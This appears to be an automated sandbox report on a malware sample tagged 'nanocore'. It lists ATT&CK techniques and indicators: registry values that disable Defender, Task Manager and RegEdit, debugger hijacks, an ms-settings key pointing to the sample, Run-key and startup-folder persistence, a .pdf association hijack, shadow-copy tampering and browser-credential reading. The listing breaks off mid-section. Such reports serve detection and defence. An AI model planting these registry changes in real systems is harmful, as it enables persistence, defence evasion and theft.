nanocore | 3c4e3258415a33c825979047d393798e94552f4bb3fddd5fcb1531cbac932def

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	bombslot42-th.co_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4388	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	bombslot42-th.co_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	bombslot42-th.co_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\bombslot42-th.co_chrome.exe"	bombslot42-th.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	bombslot42-th.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\bombslot42-th.co_chrome.exe"	bombslot42-th.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	bombslot42-th.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\bombslot42-th.co_chrome.exe"	bombslot42-th.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	bombslot42-th.co_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
5552	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf	bombslot42-th.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf	bombslot42-th.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf	bombslot42-th.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf	bombslot42-th.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf	bombslot42-th.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf	bombslot42-th.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf	bombslot42-th.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf	bombslot42-th.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf	bombslot42-th.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf	bombslot42-th.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf	bombslot42-th.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf	bombslot42-th.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf	bombslot42-th.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf	bombslot42-th.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf	bombslot42-th.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf	bombslot42-th.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf	bombslot42-th.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf	bombslot42-th.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	bombslot42-th.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf	bombslot42-th.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf	bombslot42-th.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf	bombslot42-th.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf	bombslot42-th.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf	bombslot42-th.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf	bombslot42-th.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf	bombslot42-th.co_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\bombslot42-th.co_chrome.exe"	bombslot42-th.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\bombslot42-th.co_chrome.exe"	bombslot42-th.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\bombslot42-th.co_chrome.exe"	bombslot42-th.co_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4020	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	bombslot42-th.co_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	bombslot42-th.co_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	bombslot42-th.co_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
5736	wscript.exe
1612	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	bombslot42-th.co_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	bombslot42-th.co_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1528	sc.exe
5380	sc.exe
2684	sc.exe
1500	sc.exe
2528	sc.exe
5648	sc.exe
3380	sc.exe
5760	sc.exe
2012	sc.exe
3492	sc.exe
916	sc.exe
2880	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
788	cmd.exe
2024	cmd.exe
2404	cmd.exe
5080	cmd.exe
420	cmd.exe
2184	cmd.exe
4232	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5612	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
5556	NETSTAT.EXE
2432	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4536	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1372	vssadmin.exe
2640	vssadmin.exe
3552	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\WallpaperStyle = "2"	bombslot42-th.co_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134302820065960230"	chrome.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command	bombslot42-th.co_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\bombslot42-th.co_chrome.exe"	bombslot42-th.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	bombslot42-th.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	bombslot42-th.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	bombslot42-th.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\bombslot42-th.co_chrome.exe\" \"%1\""	bombslot42-th.co_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell	bombslot42-th.co_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings	bombslot42-th.co_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings	bombslot42-th.co_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open	bombslot42-th.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	bombslot42-th.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	bombslot42-th.co_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command	bombslot42-th.co_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open	bombslot42-th.co_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell	bombslot42-th.co_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command\DelegateExecute	bombslot42-th.co_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4472	schtasks.exe
988	schtasks.exe
316	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1840	chrome.exe
1840	chrome.exe
4388	powershell.exe
4388	powershell.exe
4388	powershell.exe
912	WMIC.exe
912	WMIC.exe
912	WMIC.exe
912	WMIC.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
2796	WMIC.exe
2796	WMIC.exe
2796	WMIC.exe
2796	WMIC.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
5220	WMIC.exe
5220	WMIC.exe
5220	WMIC.exe
5220	WMIC.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe
4224	bombslot42-th.co_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4224	bombslot42-th.co_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4388	powershell.exe
Token: SeShutdownPrivilege	1840	chrome.exe
Token: SeCreatePagefilePrivilege	1840	chrome.exe
Token: SeShutdownPrivilege	1840	chrome.exe
Token: SeCreatePagefilePrivilege	1840	chrome.exe
Token: SeShutdownPrivilege	1840	chrome.exe
Token: SeCreatePagefilePrivilege	1840	chrome.exe
Token: SeIncreaseQuotaPrivilege	912	WMIC.exe
Token: SeSecurityPrivilege	912	WMIC.exe
Token: SeTakeOwnershipPrivilege	912	WMIC.exe
Token: SeLoadDriverPrivilege	912	WMIC.exe
Token: SeSystemProfilePrivilege	912	WMIC.exe
Token: SeSystemtimePrivilege	912	WMIC.exe
Token: SeProfSingleProcessPrivilege	912	WMIC.exe
Token: SeIncBasePriorityPrivilege	912	WMIC.exe
Token: SeCreatePagefilePrivilege	912	WMIC.exe
Token: SeBackupPrivilege	912	WMIC.exe
Token: SeRestorePrivilege	912	WMIC.exe
Token: SeShutdownPrivilege	912	WMIC.exe
Token: SeDebugPrivilege	912	WMIC.exe
Token: SeSystemEnvironmentPrivilege	912	WMIC.exe
Token: SeRemoteShutdownPrivilege	912	WMIC.exe
Token: SeUndockPrivilege	912	WMIC.exe
Token: SeManageVolumePrivilege	912	WMIC.exe
Token: 33	912	WMIC.exe
Token: 34	912	WMIC.exe
Token: 35	912	WMIC.exe
Token: 36	912	WMIC.exe
Token: SeBackupPrivilege	5896	vssvc.exe
Token: SeRestorePrivilege	5896	vssvc.exe
Token: SeAuditPrivilege	5896	vssvc.exe
Token: SeIncreaseQuotaPrivilege	912	WMIC.exe
Token: SeSecurityPrivilege	912	WMIC.exe
Token: SeTakeOwnershipPrivilege	912	WMIC.exe
Token: SeLoadDriverPrivilege	912	WMIC.exe
Token: SeSystemProfilePrivilege	912	WMIC.exe
Token: SeSystemtimePrivilege	912	WMIC.exe
Token: SeProfSingleProcessPrivilege	912	WMIC.exe
Token: SeIncBasePriorityPrivilege	912	WMIC.exe
Token: SeCreatePagefilePrivilege	912	WMIC.exe
Token: SeBackupPrivilege	912	WMIC.exe
Token: SeRestorePrivilege	912	WMIC.exe
Token: SeShutdownPrivilege	912	WMIC.exe
Token: SeDebugPrivilege	912	WMIC.exe
Token: SeSystemEnvironmentPrivilege	912	WMIC.exe
Token: SeRemoteShutdownPrivilege	912	WMIC.exe
Token: SeUndockPrivilege	912	WMIC.exe
Token: SeManageVolumePrivilege	912	WMIC.exe
Token: 33	912	WMIC.exe
Token: 34	912	WMIC.exe
Token: 35	912	WMIC.exe
Token: 36	912	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4388	powershell.exe
Token: SeSecurityPrivilege	4388	powershell.exe
Token: SeTakeOwnershipPrivilege	4388	powershell.exe
Token: SeLoadDriverPrivilege	4388	powershell.exe
Token: SeSystemProfilePrivilege	4388	powershell.exe
Token: SeSystemtimePrivilege	4388	powershell.exe
Token: SeProfSingleProcessPrivilege	4388	powershell.exe
Token: SeIncBasePriorityPrivilege	4388	powershell.exe
Token: SeCreatePagefilePrivilege	4388	powershell.exe
Token: SeBackupPrivilege	4388	powershell.exe
Token: SeRestorePrivilege	4388	powershell.exe
Token: SeShutdownPrivilege	4388	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4224	bombslot42-th.co_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4224 wrote to memory of 1840	4224	bombslot42-th.co_chrome.exe	89
PID 1840 wrote to memory of 5920	1840	chrome.exe	90
PID 4224 wrote to memory of 4388	4224	bombslot42-th.co_chrome.exe	91
PID 4224 wrote to memory of 2528	4224	bombslot42-th.co_chrome.exe	93
PID 4224 wrote to memory of 5648	4224	bombslot42-th.co_chrome.exe	162
PID 1840 wrote to memory of 4888	1840	chrome.exe	98
PID 1840 wrote to memory of 5612	1840	chrome.exe	97
PID 1840 wrote to memory of 4888	1840	chrome.exe	98
PID 1840 wrote to memory of 1364	1840	chrome.exe	99
PID 1840 wrote to memory of 1364	1840	chrome.exe	99
PID 4224 wrote to memory of 3380	4224	bombslot42-th.co_chrome.exe	101
PID 1840 wrote to memory of 2896	1840	chrome.exe	102
PID 1840 wrote to memory of 1768	1840	chrome.exe	103
PID 1840 wrote to memory of 2896	1840	chrome.exe	102
PID 1840 wrote to memory of 1768	1840	chrome.exe	103
PID 4224 wrote to memory of 1528	4224	bombslot42-th.co_chrome.exe	105
PID 4224 wrote to memory of 5760	4224	bombslot42-th.co_chrome.exe	107
